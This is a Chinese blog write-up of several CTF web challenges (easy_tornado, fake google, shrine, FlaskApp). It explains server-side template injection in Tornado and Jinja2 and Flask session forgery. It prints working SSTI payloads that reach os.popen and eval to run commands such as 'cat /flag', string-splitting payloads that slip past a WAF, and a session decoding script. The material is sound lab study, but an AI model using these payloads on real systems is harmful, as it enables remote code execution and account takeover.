第一周任务

第一周任务

[护网杯 2018]easy_tornado

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render                                       //模板注入
/hints.txt
md5(cookie_secret+md5(filename))                  
//根据模板注入得到的cookie_secret 加上flag所在目录的md5加密返回值一起进行MD5加密

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

将/fllllllllllllag传值给filename,得到url后面的提示get传参的变量

然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 关键是获得cookie_secret

使用tornado的模板注入测试用例测试,都是显示ORZ

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DVInSfiO-1615962783088)(C:\Users\JCY\AppData\Roaming\Typora\typora-user-images\image-20210123202232056.png)]

应该是过滤掉了运算符和一些符号,{{7}}就可以正常有7的回显,{%7%}的回显只有{},看了wp,发现是要看Tornado的官方文档,找到Tornado框架的附属文件handler.settings中存在cookie_secret,

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

通过模板注入方式我们可以构造

error?msg={{handler.settings}}

得到了'cookie_secret'的值,再加上flag所在的目录的md5加密,再次进行md5加密

685a6dd8defadabf 
3bf9f6cf685a6dd8defadabfb41a03a1
///fllllllllllllag进行md5加密后的字符串
88b4cef0-7d34-48e7-afa4-15dd9be8f7d83bf9f6cf685a6dd8defadabfb41a03a
5f9265216151a36bbddd563106a51ff3
file?filename=/fllllllllllllag&filehash=5f9265216151a36bbddd563106a51ff3

[HCTF 2018]admin

这是一个非预期解
看一下源码,发现了有注册和登录的界面,再加上源码中有被注释掉的提示就用admin为usename登录
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

[BJDCTF 2nd]fake google

jinja2模板用法

这里是引用
https://www.jianshu.com/p/f04dae701361

1.jinja2中存在三种常用的语法

1.{{ }}
2.{% %}
3.{# #}        //注释

2.过滤器
变量可以通过过滤器进行修改,过滤器可以理解为jinja2中的内置函数和字符串处理函数,常用的:

safe:渲染时值不转义
capitialize: 把值的首字母转换成大写,其他子母转换为小写
lower: 把值转换成小写形式
upper: 把值转换成大写形式
title: 把值中每个单词的首字母都转换成大写
trim: 把值的首尾空格去掉
striptags: 渲染之前把值中所有的HTML标签都删掉
join: 拼接多个值为字符串
replace: 替换字符串的值
round: 默认对数字进行四舍五入,也可以用参数进行控制
int: 把值转换成整型

使用过滤器中需要在变量后面使用管道(|)分割,多个过滤器可以链式调用,前一个过滤器的输出会作为后一个过滤器的输入

{{ 'abc' | captialize  }}
# Abc

{{ 'abc' | upper  }}
# ABC
 
{{ 'hello world' | title  }}
# Hello World
 
{{ "hello world" | replace('world','daxin') | upper }}
# HELLO DAXIN

3.for循环
迭代列表:

<ul>
{% for user in users %}
<li>{{ user.username|title }}</li>
{% endfor %}
</ul>

迭代字典

<dl>
{% for key, value in my_dict.iteritems() %}
<dt>{{ key }}</dt>
<dd>{{ value}}</dd>
{% endfor %}
</dl>

常见的魔术方法:
class
用于返回对象所属的类

base
以字符串的形式返回一个类所继承的类

bases
以元组的形式返回一个类所继承的类

mro
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类

subclasses()
获取类的所有子类

init
所有自带带类都包含init方法,常用他当跳板来调用globals

globals
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用

构造链思路

这里从零开始介绍如何去构造SSTI漏洞的payload

第一步
目的:使用__class__来获取内置类所对应的类
可以通过使用str,list,tuple,dict等来获取

第二步
目的:拿到object基类
用__bases__[0]或者__base__拿到基类
用__mro__[1]或者__mro__[-1]拿到基类

第三步
用__subclasses__()拿到子类列表

第四步
在子类列表中找到可以getshell的类

利用脚本跑索引

search='popen'
num=-1
for i in ().__class__.__bases__[0].__subclasses__():
    num+=1
    try:
        if search in i.__init__.__globals__.keys():
            print(i,num)
    except:
        pass

在这里插入图片描述
这里表示object基类的第134个子类名为os._wrap_close的这个类有popen方法
先调用它的__init__方法进行初始化类

Python 3.7.8

“”.class.bases[0].subclasses()[128].init
<function _wrap_close.init at 0x000001FCD0B21E58>
再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值

Python 3.7.8

“”.class.bases[0].subclasses()[128].init.globals
{‘name’: ‘os’…中间省略…<class ‘os.PathLike’>}
然后就可以调用其中的popen来执行命令

Python 3.7.8

“”.class.bases[0].subclasses()[128].init.globals’popen’.read()
'desktop-t6u2ptl\think\n
————————————————

jinja2模板注入时可用的payload模板,这里其实就是利用这个jinja2的模板执行了python的代码执行

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}
{% endif %}{% endfor %}

另一种payload

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
这里的`__globals__`属性是一种全局属性

globals:
对保存函数全局变量的字典的引用
定义函数的模块的全局命名空间。

__globals__中会包括引入了的modules;同时每个python脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等,所以在模板注入中可以利用buitin中的eval函数进行命令执行

做这题时可以利用这个__global__属性,进行命令执行
先进行查询根目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

在这里插入图片描述
继续查询其中的flag目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

在这里插入图片描述

{{[ ].__class__.__base__.__subclasses__()}}

flask session伪造

随便注册成功一个账号之后页面会有一个change password 在这里面的源码中给出了github中的源码,我们可以下载下来进行代码审计

在config.py中给出了session伪造的密钥应该是ckj123

session功能:把账号的信息临时储存在我的电脑上(客户端)。只有在关闭浏览器才会销毁session信息。这是一种方便的机制。

解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))   
.eJw90E2LwjAQBuC_sszZQ0zTi-Ch0lK6MJGy1TBzEe3W2tS4UBVrxP--WRc8vy_PfDxgsx-a8wFml-HaTGDTfcPsAR87mMHSoNIui7laOHQ4ssWbTgvJeSGw0h1KvKNbReRLpfNPhz6J2KAgfzyG3k3na6cdxijLiNNFR773S1NKkuWI1aFnU9y1D26aCbTZTdteYloHr4i0L2JtSLFtQz8TVK1kMHpOS0WSFNl1RyaL0XGHlubwnEB9Hvaby0_fnN4nsCPJf7WqFtq3I7nViL6WYSWFZm3J1zG-xiR3rhIRaIHt_MV1bts2b6np-YuT_-S0dSGAqYwUTOB6bobX22A6hecvQulpvQ.YFWl2A.iOfeXZOxphyASX8XGPzLzqPIp5Y

在这里插入图片描述
因为本地的vscode没有跑出来就放到kali里面跑出了解密的内容

{'_fresh': True, '_id': b'9c86a9e0f2c1f30426db413b3c22e7c484bf307ec4c9e4204ef6c93d7d0bc939d6cd118deb2731d14210696077c277295f8f86ca4a56d0dd48cf8b5baa92fb26', 'csrf_token': b'ff6ea9174781be13763d81ecc791f8f02e04cf42', 'image': b'zFRd', 'name': '1234', 'user_id': '11'}


如果我们要加密伪造生成伪造的session,还需要密钥:SECRET_KEY,看wp说这个一般在config文件里面

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True
{'_fresh': True, '_id': b'9c86a9e0f2c1f30426db413b3c22e7c484bf307ec4c9e4204ef6c93d7d0bc939d6cd118deb2731d14210696077c277295f8f86ca4a56d0dd48cf8b5baa92fb26', 'csrf_token': b'ff6ea9174781be13763d81ecc791f8f02e04cf42', 'image': b'zFRd', 'name': 'admin', 'user_id': '11'}

在这里插入图片描述
再用从github上下的脚本将name改成admin再次加密,更改cookie中的session
session=.eJw90E2LwjAQBuC_sszZQ0zbi-Ch0lK6MJGy1TBzEbfWmtS4UBVrxP–WRc8vy_PfDxgsx_a8wFml-HaTmBjdjB7wMc3zGCpMVYuT7heOHQ4ssWbykrJRSmwVgYl3tGtIvJVrIpPhz6NWKMgfzyG3k0Va6ccJiiriLOFId_7pa4kyWrE-tCzLu_KBzfLBdr8pmwvMWuCV0bKl4nSFLPtQj8XVK9kMHrOqpgkxWTXhnSeoGODlubwnEBzHvaby0_fnt4nsCPJf7W6Ecp3I7nViL6RYaUY9dqSbxJ8jUnvXKci0AK7-Yszbtu1b6nt-YvT_-S0dSGA7c6ZE0zgem6H199gOoXnL8A5avw.YFWmpQ.E3zaq97NEpxdDXOMmsxS76rUIsg

最后抓包更改cookie中的session

[WesternCTF2018]shrine

import flask
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
    return open(__file__).read() 
@app.route('/shrine/') 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s            //
    return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__':
    app.run(debug=True)

题目给出了源码,可以看到题目新建了一个名叫FLAG的config模块,题目中有两个路由,在shrine/路由里面有blackliist,这里应该可以ssti,先用{{7*‘7’}}测试成功,并且题目源码中def safe_jinja(s):这里应该是jinja2模板注入
在shrine路径下 ssti注入能运行

回头看下源码

app.config[‘FLAG’] = os.environ.pop(‘FLAG’)
注册了一个名为FLAG的config,猜测这就是flag,
如果没有过滤可以直接{{config}}即可查看所有app.config内容 //或者{{self_dict}}
推测{{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_for和get_flashed_messages

/shrine/{{url_for.globals}}

在这里插入图片描述
使用url_for返回所有的全局变量,current_app应该就是当前所在的app,就直接利用current_app访问config

/shrine/{{url_for.__globals__['current_app'].config}}

在这里插入图片描述

[GYCTF2020]FlaskApp

网站是一个用flask写的base64加解密应用,查看源码会发现还有一个解密的页面,在加密页面输入payload进行加密,加密结果在解密页面进行解密。输出解密后的payload并执行

这里可以利用一个debug=true,只要在解密时出现错误就会爆出部分源码,在源码中发现了app.py

先尝试最经典的{{7+7}},将这个字符串加密再解密就会得到14,说明可以进行ssti,先直接进行模板注入,flask模板的引擎就是jinja2,我们先尝试

在这里插入代码片

应该是有很多的函数被ban掉了,在刚开始注入测试时也能发现{{7*7}}是不能有正确回显的,可以用open函数先查看app.py中的源码

{% for c in [].__class__.__base__.subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__buitins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

在这里插入图片描述
可以发现源码中定义了一个黑名单,ban掉了很多常用的函数看了wp发现这里可以用字符串拼接来进行绕过解题

def waf(str):
    black_list = [ "flag","os","sysytem","popen","import","eval","chr","request", "subprocess","command","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
                 return 1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
Python os.listdir() 方法

用于返回指定的文件夹包含的文件或文件夹的名字的列表,用法:

os.listdir(path)

这里的path是具体的目录路径

或者一直拼接被ban掉的函数
贴了别的大佬的payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值